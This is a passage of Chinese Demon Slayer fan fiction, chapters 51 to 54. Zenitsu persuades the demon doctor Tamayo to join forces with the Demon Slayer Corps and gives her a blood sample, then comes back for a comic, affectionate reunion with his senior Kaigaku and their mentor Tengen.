出于自身的需求,珠世作为医生给病人看诊,从病人哪里获得少量的血液来维持两个鬼的生存,并且为了防止鬼之始祖找到他们,每隔一段时间,他们都要变换自己的位置,将自己的踪迹隐匿起来。
愈史郎前几日外出时,意外发现一名带着日轮刀的剑士一直在打关于珠世小姐的情报,作为鬼的两人不由都有些惶惶不安,这几天小心收敛自己的气息,用愈史郎的术士将所有的痕迹都消隐,并且一直在收拾行李,打算换个地方驻扎。
然而,非常倒霉的,在他们就要离开的前一天,善逸顺着踪迹还是找到了他们。
愈史郎运用自己的血鬼术一直观察着我妻善逸的动向,在他踏入这片地界的第一时间,就朝着他发动了攻击。
那管射向善逸的针筒只是伪装的手段,实际上针筒里的药剂是吸入式的,在善逸劈开针管的那一瞬间,药液就随着空气进入到了他的身体中。
但在那种场景之下,吸入式的麻药不知道能够发挥几成效果。眼见着人已经倒地,而珠世小姐还是不打算立即离开,愈史郎着急上火,打算直推着珠世离开。
“珠世小姐!!我们管他去死!!还是先走为上……”愈史郎急切地转头,正对上珠世不赞同的目光。“我开玩笑的!我这就去拿!!珠世小姐自己请小心!!我马上回来!!”
话落,愈史郎气冲冲地走向了别墅地下室的方向。
珠世将脸朝下倒下的我妻善逸翻了个身,扒开他的瞳孔观察他的情况。
然而就在珠世手触碰到我妻善逸眼皮的一瞬间,涣散无神的瞳孔突然向着珠世的方向转动,无力瘫在地上的手臂闪电般甩出,敲在了毫无防备的珠世后颈之上!
51.第 51 章
“呃——”没想到善逸会醒的这么快的珠世毫无防备,被善逸的力道劈得眼前一黑,作为鬼的强大□□勉强支撑着她没有晕过去,身体却也顺着力道下落,被瞬间起身的我妻善逸揽着肩膀扶起,下一秒,出鞘的日轮刀横在了她的脖子上。
珠世震惊地盯着眼前的日轮刀。愈史郎使用的药剂是她调试的,哪怕是恶鬼来了,吸入药剂也绝对要昏迷半小时,绝对没可能在短短的五分钟内醒来!
正是因为这样,愈史郎才留珠世一个人面对昏迷的善逸。
珠世瞳孔缩紧,十分不可置信。
她逐渐平复自己的心绪,试探着通过周边的一切来判断身后之人的状态,才发现了一件很不可思议的事情。
她的视线落在颈前日轮刀之上,只见在月光的照耀下,善逸的面庞通过如镜子般的刀身反射到珠世的眼中,那双眼睛竟然还在闭合着,随着呼吸声,鼻子上冒出的鼻涕泡一大一小,竟完全是熟睡的模样!!
珠世终于明白了。并不是我妻善逸对于麻药的有抵抗,而是他根本还没有醒来,刚刚那一系列挟持她的动作都是在睡梦之中完成的!
“你想要干什么?”日轮刀明晃晃地架在她的脖子上,却没有其他动作,珠世出声试探。
“……检查。”珠世血鬼术的影响还没有消退,此时的善逸大脑依然不甚清醒。但没关系,他现在有随身外挂。
另一边的狯岳感受到了师弟的状态,被迫在大晚上爬起来,给师弟当备用大脑运转。
狯岳不甚了解善逸这回任务的情况,但知道情况的师弟现在还在阿巴阿巴,他只能硬着头皮上了
‘跟我学。’
‘我代表鬼杀队前来,是真心希望能联合珠世小姐一同研发针对鬼的药剂,同时也希望能搞懂我身上的特殊情况。’
狯岳说道特殊情况时有些犹疑,毕竟将善逸的情况告知一个陌生的鬼这种事,实在是太危险了。
但是……这既然是师父和师弟都相信着的鬼杀队当主的判断,加上师弟嘴快已经将情况吐露出了一半,他咬牙,还是将这句话出口。
善逸像只小鹦鹉,一字一字地学着师兄说话,就连师兄语气中的重音与停顿都学得惟妙惟肖。
‘请放心,鬼杀队对您并没有恶意。’
随着师兄的这句话落下,善逸再次开口:“毕竟,我们都有着想要杀死鬼王的最终目标,不是吗?”
珠世的手臂有些颤抖,但她还是严肃道:“我如何能相信你?”
‘有主公给的手信吗?给她。’
善逸闻言,没拿刀的左手在胸前一阵摸索,最后拿出一张边角有点皱卷的信出来。
“这是主公给您的信。”
珠世接过信封,同时意识到她不打算跑的善逸也将手中的日轮刀缓缓放下。
善逸有点慌张,毕竟一睁眼就发现自己挟持了要交好的医生,还在脑子不清醒的时候在医生的后颈上劈了力道不小的一手刀,任谁来看这都是天崩地裂的场面吧??
‘呜呜呜幸好有你师兄!不然我都不知道我自己该怎么办——’
善逸表面维持着沉稳的形象,实际上心中的嚎叫将千里外的狯岳吵得头疼。
‘闭嘴!废物!!’狯岳压过自己废物师弟的音量,骂骂咧咧:‘那么简单的陷阱都能中!你是干什么吃的??’
‘当时就是很香啊!我就多吸了两口,谁知道会变傻还会昏迷啊!!’
‘真是丢人!哪天蠢死了我是不会给你收尸的!!’
‘啊呀师兄我下回会注意的啦——师兄,你现在怎么还醒着?’
‘被某个蠢货给蠢醒了!’
‘师兄明天还有训练任务吧??快去睡觉!之后我能自己解决的!!’
‘被蠢得睡不着!’
‘诶——师兄你是在担心我吧?口是心非可不好哦?’
‘废物闭嘴!’
珠世就着别墅的灯光,面色复杂地看完了那封来自产屋敷当主的信。
「发现您的存在是一件意外。我们在三年前得知了我妻少年的特殊,于是专门派遣人员搜集了这方面的消息,这才在阴差阳错之下,得知了世上竟还有您这样的医生。您的消息隐藏得很好,不必担忧被别人察觉。」
「此次冒昧打扰,是因为一个奇迹。我将那个代表着奇迹的少年送到您的身前,希望您能够从他身上得到启发,在针对鬼的研究中得到更多灵感,对我们灭杀恶鬼的路途减少一些牺牲。」
珠世将信纸重新放回信封中收好,转回头神色有些怔然地观察着那个在她读信期间默默发呆的人。
正当她打算开口,善逸的头突然转到了别墅的方向。
下一秒,愈史郎举着药剂箱,连滚带爬地从别墅创了出来:“珠世小姐!!”
他一个飞跃挡在善逸与珠世小姐之间,甚至因为冲力太大,在草坪上刮出两道土痕。他转过身警惕地看向我妻善逸:“你怎么醒了??!不许你伤害珠世小姐!!”
善逸将双手举高以示无辜……好吧,他其实不无辜来着。我妻善逸有些心虚地想。
“愈史郎,不用紧张。”珠世伸手,安抚地拍了拍愈史郎的后背:“没事,他对我们没有恶意。”
她绕过依然在不安的愈史郎,那双暗紫色的眼睛直直与我妻善逸的眼神对上,随后嘴唇轻启:“鬼杀队的请求,我答应了。”
“珠世大人!!”愈史郎眼睛瞪大,一双尖锐的竖瞳此刻瞪得溜圆,转头不可思议地看向身侧的女人:“他们可是杀鬼的组织!万一您被欺骗——”
“不要着急,愈史郎。”珠世没有转头,眼神依旧与善逸的眼睛对视,只是抬手制止了愈史郎之后的话:“就当是我的一次尝试。我选择相信鬼杀队。也希望鬼杀队不要辜负我的信任。”
善逸黄蓝色的眼睛也一错不错地直视着珠世的双眼,浑身不靠谱的气势收敛起来,严肃而锋利,像是一柄日轮刀。
“我们会的。”
珠世望着眼前的人,随后轻轻弯起嘴角。她忽然问了个风马牛不相及的问题:“你是鬼杀队的柱吗?”
善逸被这毫不相关的问题问得一愣,揉着自己的后脑勺说:“不是,不如说差远了,我才刚加入鬼杀队不久,今年年初时还在跟着教我剑术的老爷爷训练呢。不过我之后会成为柱的,和我师兄一起。”他歪头:“为什么问这个问题?”
“没什么。”珠世的双眼微弯,眼睛半阖,眉眼舒展,展露出了个清浅的笑容:“只是,忽然对鬼杀队多了分
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信任。”
善逸没听懂这个漂亮女鬼说得话是什么意思,呆愣地眨眨眼,两秒后将这件事情抛之脑后。
算了,不重要。不知道师兄睡觉了没有,听呼吸不是很平静啊……
善逸又开始自顾自发起呆来。没办法,自从连接到师兄之后,善逸的注意力总是不自觉地往另一个人身上跑……这种情况大概只有回到师兄身边时才能解决了。
愈史郎手掌攥紧,咬牙切齿地看着眼前那个让珠世大人展露笑容的人,竟然在光明正大地发呆??
简直无礼至极!!愈史郎头顶蹦出青筋,口中的牙齿磨得咯咯响,眼神像恶鬼一样死死地盯着那个没礼貌的小子,双手越攥越紧,最后咔吧一声,愈史郎手里提着的药剂箱的把手竟被他攥裂了!
这声木头断裂的轻响提醒了珠世,她从愈史郎手中接过药剂箱,从中拿出一个针管:“我先把刚刚释放的血鬼术给你解除一下吧。我的血鬼术被人类吸入对身体不好。”
“你是说,刚刚的那种异香吗?”善逸回想起刚刚奇特的香气,和脑袋晕乎、眼前出现幻想,甚至还啥都往外吐的状态,好奇地询问:“那是你的血鬼术吗?效果是致幻?”
“致幻是其中一种效果,我的血鬼术还可以让人降低心理防线,吐露出真实的话语。”
“那就不用解药了。”善逸无所谓地摆摆手:“我体质特殊不会被你的血鬼术伤害到的。再说。”他满是诚恳地对上珠世的双眼:“这样的状态更令你们安心吧?”
‘蠢货。’默默窥屏的狯岳点评。
善逸略显无奈地接受这师兄的批评,‘嘛,反正对我没有影响。’唉,看来今晚师兄是注定休息不好了。
“你就不怕我们对你下什么黑手?”依旧不相信眼前的鬼杀队剑士的愈史郎问。
“既然主公让我前来,就说明了鬼杀队已经在考察中确认了你们的可信,我自然不会怀疑主公的决定,”说这些话时,善逸的眼神坚定。前世在灭鬼道路上的种种让他充分信任着那位鬼杀队主公的决定,哪怕他从来没见过那个人。
“况且,”善逸扶上了自己的日轮刀:“就算你们对我做了手脚,现在的我也有自信全身而退,并且让你们也讨不了好。只是我到时候免不得要去主公那里谢罪了。”少年意气风发,黄蓝色的眼睛锐利而明亮,就连脸上如青金石一般的裂纹都在闪闪发光,举手投足都显示着对自己实力的自信。
别的不说,自从他在下弦三病叶哪里走过一遭,体内的变异鬼血在病气的逼抢下进化之后,除了更高浓度的鬼血,基本上没有什么药剂和毒素能够影响他的战斗能力,毕竟他有着像鬼一样的恢复能力和就算失去意识也依然可以战斗的逆天效果,加上完全的毒抗,只要不是来更多的鬼血让他的身体卡死机,现在的善逸基本是无敌的。
在病叶战之后,他就有一种预感,就算被砍掉脖子,他也不会死亡。
只要他还能够战斗,眼前的两只鬼算得了什么!
善逸维持着自己外表的帅气形象,内心的小人叉腰大笑,让刚刚听到他的霸气宣言,内心复杂的狯岳一下子无语起来。
嘁。还以为师弟在自己没见到的地方变帅气了。废物就是废物!!
狯岳怒点差评!
52.第 52 章
当然,此时的善逸并不知晓珠世的逆天研究能力,还是一个没被学术大佬碾压过的不知天高地厚的凡人,自信于没有药剂能够干扰到他,轻易地就走进了珠世的病房中。
他跪坐在榻榻米上,新奇地左看右看。
愈史郎将他们打包好的行李拆开,从中取出那些被规整好的医疗用品,按照珠世小姐的习惯摆放到托盘上。
珠世从愈史郎手上接过白色罩衣,穿戴好同样跪坐在善逸身前,戴好手套,从托盘上拿出一只针筒,看向善逸的方向:“先让我抽取一些你的血液吧。”
随着针尖刺入皮肤的微微痛感,暗红色的血液进入到针筒之中。
在闻到我妻善逸血液味道的一瞬间,在场的两只鬼瞳孔猛然紧缩,转过脑袋,眼睛直勾勾地盯着流血的地方。
珠世强迫自己移开视线,等到血液灌满针筒,她轻巧地将针筒拔出,举在眼前观察。
只见那暗红色的血液像是埋藏着闪电的乌云,蓝色的电光在深红中时隐时现。
珠世将针管小心地递交到愈史郎的手中,随后脱下手套放置在托盘上,眉头微蹙。
“你说,你曾经变成过鬼?”珠世再次提起善逸说过的话,她的面色复杂难言。
“大概是的。”善逸摸着后脑勺,回想自己掉到这个世界时的感受:“当时大量鬼血意外顺着我的伤口进入我身体中,我还以为我要爆体而亡了,没想到不知道为什么我还是醒了过来,又差点被太阳晒死,最后清醒就变成这个样子了。”善逸尽量将自己复杂的变鬼加穿越时空的过程简化,挑着能说的讲给了珠世听。
“等等,将你变成鬼的不是鬼王吗?”珠世敏锐地点出了这段话中的疑点。“你是‘意外’变成鬼的?怎么可能?”
我妻善逸眼皮半阖,回想起变成鬼的师兄那个疯狂的眼神,和眼睛里的上弦六三个字。
他声音有点蔫蔫的:“是的,当时我在杀死一只鬼,在砍掉他脖子时,我想凑近看看他,不巧被溅射出来的大量鬼血顺着脸上的伤口进入到了身体之中。”
当初的种种,他没办法捋清,那之后的事情离奇却又幸福,更让他下意识躲避去思考那个凑到师兄脸侧的动作,包含着什么样的意味。
“那只鬼被你杀死了?”
“被我亲手斩杀。”
善逸从刀鞘中拔出一截日轮刀,在愈史郎警惕的眼神中给自己胳膊上划了个一指长的伤口,在珠世的目光下,那截伤口在割开的三秒内丝滑愈合,随后他将手掌攥紧,催动体内的电流,下一秒,细密的深蓝色闪电攀附上他的手臂,隔得远远的愈史郎都能感觉出一阵危险的气息。
“像鬼一样的愈合能力,以及和当初我杀掉的那只鬼一样的‘血鬼术’,这些是我判断自己成为过鬼的依据。”
重新提起这些上辈子师兄最后‘留’给他的东西,善逸的动作有些钝,眉眼也耷拉着,心情不佳。
他收回手臂上的闪电,好让另外两只鬼能够重新凑到他身边,之后左手无意识地拖着自己的脸,食指描摹着上面的一道道闪电状的疤痕。
珠世的眉头紧皱。按理来说,只有鬼舞辻无惨以及经鬼舞辻无惨同意的鬼才能够运用鬼王的血液制造新的恶鬼,然而善逸就像是卡了bug一样,如同将一只鬼的数据直接转移到了另一个人身上一般,就这样绕开了鬼王变成了鬼?
珠世忍不住再次扫视眼前这个人。当我妻善逸第一次说他曾经变成过鬼时,不管是珠世还是愈史郎,对于他的话都没有在意。不说愈史郎,珠世被变成鬼三百多年,眼前的是不是鬼,她难道能感受不到吗?
然而现实就是这样离奇。
当我妻善逸的血液流出的那一刻,珠世和愈史郎同时闻到了血液的味道,接着,来自鬼王鬼舞辻无惨的那部分血液拼命地向大脑输送渴求的信号,口腔中的唾液不自觉分泌,瞳孔收缩成针尖,差点直接啃咬上去。
那是来自鬼王鬼舞辻无惨的,对更加高级的形态的渴求。
这是一个克服了阳光的鬼。
幸好珠世早就脱离了鬼王的掌控,再加上她这么多年的研究,将自己的身体逐步改造,这才能控制住自己。而愈史郎就更不必说,他本就是珠世通过改造的血液变成的鬼,对这种来自鬼之始祖的影响更加轻微。
珠世的表情似哭似笑。那个男人追寻了那么多年的蓝色彼岸花,只是为了让自己克服阳光的弱点,没想到在他没看见的角落,一个少年阴差阳错就变成了他最想要的样子。多么讽刺。
但是,如果这件事被鬼舞辻无惨得知,一旦他抓住眼前这个少年并与他融合,鬼王将克服他最后的弱点,真正地实现他成为不老不死、完美无缺的究极生物的最终愿望。那样,她就再也没有机会杀死鬼舞辻无惨,杀死这个害死了她女儿和丈夫的男人了。
不,绝对不可以。
珠世收敛了脸上的表情,严肃地告诉眼前的少年目前的情况。
不能让鬼王知道这个少年的事情。
他直接遇到鬼王的几率很小,但是每一只在鬼舞辻无惨控制下的鬼都是他的眼线,只要他想,他能够调动所有鬼的记忆,从他们的视野观察。不能让这个少年的异常落入任何鬼的眼中!
然而一旦眼前少年的血液被别的鬼闻到,来自鬼王的强烈渴求就会让他们发现端倪。
这种来自鬼之始祖的执念影响,体内的鬼血越多,感受就越深刻。当初被鬼舞辻无惨看中的珠世就被赐下了不少血,以至于被她运用自己的血液研究改造的愈史郎都能感受到。但是对那些非十二弦月的普通鬼,哪怕是异能鬼,都没办法感受到这种渴望。
善逸默默举手,打断了珠世的话:“那个,打扰一下,我前些天才和下弦三打过架,当时他并没有被影响到的样子……”
“你已经接触过下弦鬼了?当时受伤没??”珠世急切地看向我妻善逸。
善逸被她看得有点发毛,老老实实地回答了珠世小
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姐的问题:“受伤了,伤口挺大的,也流了不少血……不过最后下弦三被音柱给杀死了来着……”
“面对你流出的血,他当时没有什么特殊反应?”珠世追问。
“没有……吧……”善逸努力回想。他当时只顾着杀死鬼后去找师兄了,在加上身体被病气入侵,脑袋昏沉,完全没在意恶鬼都说了什么。
“之后还有什么实力高强的鬼来找你吗?”珠世的手不自觉地攥紧,白色的罩衣被她的手指攥出两个明显的褶皱。
“这倒是没有。”反而是他一路追杀鬼来着。嗯,追着沿路的鬼杀。
“这样啊……”珠世收回前倾的动作,将罩衣上被自己攥出的痕迹抹平,默默思考着情况。
“目前来看,下弦三应该是没有发现你的情况,但这也不保险。”珠世的眉头依然紧皱,思考着当前的办法。
作为鬼杀队的一员,让我妻善逸今后不再接触鬼也不现实,那就必须做出什么来干扰高等级鬼的感应了。
“这样,你在这里等待三天,我会在三天内调制出能暂时改变你血液味道的药剂,”珠世从跪坐的姿势起身,转头看向愈史郎:“愈史郎,要辛苦你尽快将我们打包的行李重新拆开。”
愈史郎点头,转身前往地下室收拾,离开前狠狠地瞪了善逸一眼。
“另外,我会尽快研究你的血液,看是否能够研制出针对鬼的药剂。”珠世呼出口气,收好自己眼中的复杂,重新面对善逸时面容平静:“麻烦你多等待三天了。”
善逸摆了摆手,意外和师兄达成了真·心灵相通成就的他现在并不着急回去,多等待的三天不是问题。
“麻烦您了。那么,我不多打扰。”善逸起身,在珠世的送行下离开了这栋隐匿在浅草的别墅。
完成了此行的任务,善逸轻松了起来,在回旅店的路上和师兄高高兴兴地说悄悄话。
‘师兄师兄!我刚刚是不是超帅超靠谱!!’
我妻善逸欢快的声音落到了狯岳的耳中。第一次听说废物师弟变鬼原因的狯岳本来还在思考师弟提到那只被杀的鬼时心中的悲伤情绪究竟从何而来,被师弟的声音打断,无语地将刚刚的心绪丢到一边。
‘哈?你在逗我笑?”绝对不承认自己刚刚有瞬间被自己的废物师弟帅到了的狯岳嘴硬道:“被低级的陷阱暗算到大脑空空的人就别来丢人现眼了好吗?小废物。’
‘真的吗?我明明有一瞬感觉到师兄在夸我帅气来着——还有!师兄!小废物不是特制小善逸吗?’
‘我想叫什么叫什么。’
‘超级任性!师兄!还有,我早就想说了!师兄每次叫小善逸小废物的时候就像在叫爱称一样啊!反而遇见我时的废物两个字就很凶——不公平,我也想要得到师兄的爱称!’
‘yue!’
‘师兄!好过分!!行不行啊师兄!!’
‘yue——yue!!’
‘理理我嘛——’
53.第 53 章
完成任务了的我妻善逸剩下的三天轻松地在繁华的街道上闲逛,一路卖了许多东西,给师兄的、给爷爷的,给自己的,给小善逸的,包裹逐渐变大。
善逸掂着不自觉买多了的东西挠头,打算自己手拎回去,等和大哥汇合时借用一只鎹鸦将买给师父和小善逸的礼物送到桃山上。
三天后,善逸再次来到那栋别墅中,老老实实地伸出自己的胳膊,被珠世医生打进了一管青绿色的药剂进去。
珠世将针头拔出,将空的针管放到钢制的托盘上,发出清脆的“咔哒”声响。
珠世呼出一口气,将自己身上的罩衣脱下,单手揉着额头,对善逸说:“我赶时间研制出的药剂能够暂时干扰恶鬼对于你血液的感知,但一旦你的血液暴露在鬼面前的时间过长,他们还是能够发觉你的特殊。”
“时间太紧了,我之后会努力制作效果更好的版本给你,但是,再此之前,”她将揉着额头的手放下,眉毛下压,唇角紧抿,严肃地盯着我妻善逸:“最好不要将你的血液暴露在任何鬼的感知中,一旦你被鬼王发现抓住,鬼杀队的所有灭杀恶鬼的努力都将付之东流。”
“好……好的。”善逸被珠世的话语震慑,头上的冷汗一滴滴落下,在心中和师兄默默蛐蛐:‘啊,原来我这么重要的吗?有点惶恐啊……’
‘承受不住压力就只能沦为废物。’狯岳正在训练,他手臂用力,将被绳子绑着挂在树下的大石头拉起一米的高度,之后放下、拉起再放下,同时全集中呼吸法不停,不断地淬炼着自己的肌肉筋骨,同时分心注意着师弟那边的动静。
‘抱歉啊,之前一直都是小人物来着,突然变成重要的人还挺不适应的……’善逸的手脚有些僵硬,四肢都不知道该怎么摆了,他脑袋一顿一顿地上抬,对上珠世的眼睛:“是,我知道了……”
珠世的的目光还很严肃,但注意到我妻善逸慌到不停的动作,以及流了满头的冷汗,面部的表情松懈下来,眉眼也柔和开来:“不用特别担心。具体情况我会和鬼杀队的主公交代好的。”
她从自己的怀中掏出一封信,递到了我妻善逸手上:“请将我的信带给那位鬼杀队当主吧。”
“是……好的。”我妻善逸将信妥善放好,深深呼出一口气,扶着膝盖起身,深深鞠躬:“非常感谢您的帮助。”
珠世微微摇头,随后被门外的脚步声干扰,两人的视线齐齐对准进来的愈史郎,以及愈史郎怀中抱着的三花猫。
“这位是茶茶丸。”珠世的手温柔地抚摸着三花小猫的头,小猫也亲昵地在珠世的手心蹭脑袋。
“关于你的血液,之后若我有什么研究成果,会拜托茶茶丸送到你身边。请注意查收。”
珠世随着善逸起身的动作也直起身,“有你这份特殊的血液样本,我可以研究出更多针对鬼王的药剂,所以对我来说,这并不是一次单向的‘帮助’。”
珠世的神态很认真:“之后身上如果有什么变化,也务必将血液样本寄给我一份。”
“我会的。”在这样一双平静的眼神注视下,善逸内心中那点小小的不安也被抚平。他略显僵硬的手脚逐渐缓和,因为紧张而不自觉僵硬的面部表情舒展开,嘴角勾起大大的弧度,眼睛亮晶晶的,像是藏进了一池星星的倒影。
“那么,再见。珠世医生。”
在珠世和愈史郎的目送下,善逸披着夜色,离开了这座别墅。
愈史郎只望了那人影两眼就将目光收回,转头看向身边人:“珠世小姐,我们还要搬家吗?”
珠世摇摇头,眼神望向已经没有了人影的路,眼神有些温柔:“暂时不了。”
她转身,左手轻轻扶上愈史郎的后背:“走吧。我们还要待在这里许久,那些打包起来的行李还是要麻烦愈史郎拆开了。”
“是!”愈史郎的脸红扑扑的,被珠世触碰到的背脊挺直,高兴地说:“交给我珠世小姐!”
啊,珠世大人今天依旧光彩照人!
善逸踏上了归程。他回去的速度慢了许多,等到重新和师兄见面时,又过去了十多天。
“师兄,你来迎接一下我嘛!”与蝶屋的距离越来越近,我妻善逸不由自主地雀跃起来,声音黏黏糊糊,和师兄撒娇。
‘哈?天还没黑做什么梦!’
“师兄!这么多天没见,难道你就没有一点点想我吗?”
‘有啊。我这几天一直在遗憾你怎么这么快就回来了。’
一点漂亮话都不说。
嘁。我妻善逸瘪瘪嘴,不理师兄嘴上的不饶人。他深呼一口气,上前一步,在他的听力范围之中,重新出现了稻玉狯岳的踪迹。
不是遥远的心灵相连,而是切切实实的,师兄在身边的感受。
当师兄心脏的鼓动声通过空气的震动被耳膜捕捉,再传入大脑中,与那种未知的连接感受到的心跳声交融,有点小小的错位,稻玉狯岳的心跳就这样在我妻善逸脑中二重奏。
我妻善逸本以为心灵的连接已经满足了他那点小小的控制欲,但直到再次从身周捕捉到师兄的信息,才真正明白。不够的,只是能听到稻玉狯岳的心声这点是不够的。只有随时存在于师兄周围,他才能真正地心安。
那种心脏被完好安放的感觉,像是小动物窝进了温暖干燥的巢穴之中,浑身每个细胞都溢出满足感,这块名叫“我妻善逸”的拼图即将到达他最完美的位置——“稻玉狯岳”的拼图身边!所有的神经都在欢呼,所有的血液都在舞蹈,汹涌澎湃着,欢欣鼓舞着,啊,真是完美。
善逸的双腿不自觉加快,迫不及待地奔跑向师兄的位置。随着那个人的声音越来越清晰,那个人的存在越来越亮眼,善逸的脚步逐渐放慢,在蝶屋前那盛开到颓靡的紫藤花下,善逸见到了那人的身影。
那个人在善逸的视线中转身,一阵风吹过,飘落的紫藤花瓣向下抚过那人的鬓发,亲了下那人的眉眼,他下意识轻皱了下眉头,伸手将脸上的花瓣扶下,暗绿色的眼睛这才轮转到善逸的身上。
看着呆愣住的人,他嘴角勾起,扬出嘲讽的弧度:“废物,出门一趟真成傻子了?”
此时太阳西斜,不再热
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烈的阳光温柔地贴上狯岳的脸颊,将他的身影添上一圈金色的光晕。
这样的风景一时让我妻善逸失了声,大脑忘记了思考,只一个劲地将眼见的画面保存到脑海的最深处。
“师兄……你全集中呼吸断掉了。”呆愣之中,善逸只傻傻地说出了这一句话。
“还说我呢?你还记得呼吸吗?傻子!呼吸!”
被师兄提醒,善逸才反应过来自己从刚刚见到师兄的身影开始竟一直憋着气,急忙吸了口气,结果进气太猛,口水呛入了气管中:“咳咳咳咳!!!”
狯岳刚感觉多日不见自己的师弟有些陌生,就被善逸犯的蠢给逗笑了。他嘴角翘起,肆意地笑骂:“蠢货!”
在师兄面前丢脸了!!善逸懊恼着抬头,直直撞上了师兄的笑颜。
这是个善逸根本没见过的笑容。善逸见过许多模样的狯岳,认真的、严肃的、焦躁的、得意的,但是肆意笑骂着的狯岳,这是我妻善逸两辈子第一次见。
“干嘛啊师兄……”我妻善逸被师兄的美颜暴击,根本不知道该怎么反应,干涩地吞咽着自己的口水,眼睛都直了:“真是的,长这么好看就算了,还笑得这么好看……”
“小变态。”狯岳听到师弟的喃喃声响,轻蔑地瞥了他一眼:“对自己的师兄流口水,真恶心。”
“师兄!”被师兄发现了的善逸难得有些窘迫,但被嘲讽多了,脸皮也就厚了,善逸直直奔向师兄的方向,冲着狯岳就扑了上来:“师兄——我好想你——”
“喂!!蠢货别撞到我身上!!”狯岳被师弟的动作撞到身上,冲劲带着他后退了半步,才终于停稳,随后眉毛竖起,生气地说:“你是狗吗?就知道扑人!!”
善逸的脑袋只感觉到一阵软弹的触感,下一秒,脸蛋直接陷进了一片柔软之中,他下意识蹭了蹭,柔润的肌肤贴合着他的脸,将他的鼻子都埋了进去。
他深吸一口气,熟悉的软甜味道,像是枝头熟透了的软桃,是师兄身上的味道。
“喂,变态,你还想埋到什么时候?”幽幽的声音从头顶响起,善逸僵硬抬头,对上师兄漆黑的脸。
所以,他埋的是……善逸如同木偶般一步步低头,这才注意到他刚刚脸埋的地方。
白皙的,柔软的,带着韧性的……
师兄的,胸部???
我妻善逸的身体完全僵住,脸顺着惯性又蹭了蹭,甚至还想再吸一口气——
啊,失败了。
他的脸被狯岳伸出的右手抵着,推开出一臂的距离,然而他的双手依然环在狯岳的腰上,像是一块橡皮糖。
“松手!变态,”狯岳的声音咬牙切齿,“别、逼、我、扇、你。”
哦。好吧。善逸在师兄的威胁下还是松开了搂着师兄腰的手,委委屈屈地站直,一双眼睛却是亮亮的,蕴藏着无边的喜悦。
“虽然说过许多遍了但是,”善逸双臂展开,扯出一个有点傻的笑容:“师兄,我好想你。”
吹过狯岳的风吹过善逸,拨开少年额前的碎发,温柔又明媚。
54.第 54 章
狯岳的目光直直落在师弟身上,像是观察陌生人的小猫,让善逸脸上的笑容都僵硬了起来。
空气好像随着两个人停滞的动作也凝固住了。
只到善逸沮丧地打算放下扬起的胳膊,以为自己没办法从师兄这里获得一个久别重逢的拥抱时,狯岳终于动作起来。
他两步向前,像一辆软乎乎的小猫卡车一样撞进了善逸的怀抱中。
善逸呆愣了一下,随后受宠若惊地收紧了双臂:“师兄!!!”
“师兄你居然真的回应我的拥抱了!好感动师兄——呃啊!!”
善逸还没来得及贴着师兄毛茸茸的头发蹭蹭,只见他怀里的黑色脑袋向后蓄力,然后猛然前倾,直直撞在了他的眉骨上!
骨头与骨头碰撞的声音清脆,发出“Duang”一声。
“师兄!你干嘛!!”
狯岳一时间被光晃了眼,仿佛被鬼迷了心窍,腿脚好像生了自己的意志,抛开理智向前,撞进了师弟张开的双臂之中。
然而终于反应过来的大脑越想越不对劲,自己居然老老实实地进到了师弟怀里!
可恶!这种温馨的氛围是怎么回事!
狯岳感觉自己像是进到了蚂蚁窝,身上被蚂蚁一层层爬过一般,浑身都不对劲。
对和师弟之间的温馨气氛过敏的狯岳灵机一动,炕当一下,给了师弟一个大头锤!
善逸疼得眼泪都出来了!他泪眼模糊地低头,直对上狯岳通红的脑门,以及同样带着点泪花的眼角,与得意的眼神。
“哈。废物。这都躲不开。”可恶啊怎么回事!这小子怎么长高了!额头撞到了这小子眉骨上——好痛!
两个人就这样泪眼汪汪地对视。
“师兄你也很疼吧。你都流眼泪了。”
“只有废物才会流眼泪。”
“既然很疼为什么还要撞我啊。”
“你管我——还有,松手,废物。你抱时间太长了!”
“诶——师兄我都被你撞了!还不能让我抱的时间长一点吗——我不要!”
“松手。”
“不要。”
“……”
傻兮兮的两个人就这样僵持在了一起,直到被派来寻找狯岳的小小香奈乎顺着指引的方向找出大门,呆呆地仰头,像一个小蘑菇一样,看着抱在一起的两个人。
要不要打扰他们呢。
小小香奈乎掏出硬币,砰地一声,弹了出去。
“伊——痛!!”
善逸的额头被弹来的硬币再次暴击,捂着额头,瘪了下去。
啊。不小心弹飞了。
香奈乎寻着踪迹找到了自己的硬币。反面朝上。
不要打扰。
于是香奈乎将自己的硬币塞回手心,双手重新藏回白色的斗篷之中,再次变成了一只仰头小蘑菇。
“蠢货。”狯岳轻哼,双手抱胸,俯视着师弟的蠢样。“走了,我们进去。”狯岳抛下师弟,向着小香奈乎的方向招手,两人一起走进了蝶屋中。
“师兄!等等我啊!!师兄!!”
善逸默默给瘪掉的自己重新充气,哭唧唧地跟了上去。
狯岳和小香奈乎安静地走在庭院里。这些天来,小葵与小香奈乎一直在帮助他进行训练,狯岳与两个小女孩的关系也熟悉了起来。对比他聒噪得像个大喇叭的师弟,严肃且认真的小葵和安安静静的小香奈乎简直是天使!
狯岳也不是会在训练上偷奸耍滑的人,相反,他对于训练全集中·常中这件事非常认真,每一个动作都尽力做到极致,利用所有的空隙提升自己的实力。
严肃认真的人碰在一起,总是相处得很愉快。
小香奈乎在前面引路,带着身后的两个人绕到了一处庭院之中。
此时阳光正好,一走进,两人就被光闪了眼。
“哟!你们两个来了?”
闪人眼睛的当事人毫无自觉,顶着硕大的玻璃护额,大喇喇地斜倚在院子中间的假山上,闲闲地给两个人打了个招呼。
“好闪!”善逸连忙伸出手,挡住刺眼睛的反光。
“是吧!这可是万众瞩目的华丽呢!”闪着光的男人伸手撩过脸侧的珠链,动作潇洒,举手投足间不自觉发散出的华丽气息,一下子就吸引到了所有人的眼球。
“天元大人。”虽说被眼前的音柱收为了继子,狯岳对他并不是很熟悉,此时见到,颇有种受宠若惊之感。
“中午好,我华丽的继子们。”宇髄天元从斜倚的姿势直起身,悠闲地打招呼:“这么多天不见,不知你们是否有在华丽地变强呢?”
狯岳被那双红色的眼睛扫视过,微微敏唇,那种被大人物看到的感觉让他微微战栗。他上前一步,率先开口:“是。我已经基本掌握了全集中·常中。”他犹豫了一下,略显不适应地加了三个字:“……华丽的。”
“是吗?很不错啊,狯岳。”宇髄天元看出了他的不自在,坏心眼地加了一句:“不错!非常华丽!”
“……是!”狯岳保持着面部的平静,藏在鞋子中的脚趾默默缩紧。
“那么你呢?善逸?”
在旁边偷偷敲师兄笑话的善逸被忽然点名,下意识站直身体,然而下一秒,紧绷的肌肉就微微松懈,举起爪子挠了挠头发:“呃,应该有变强?”
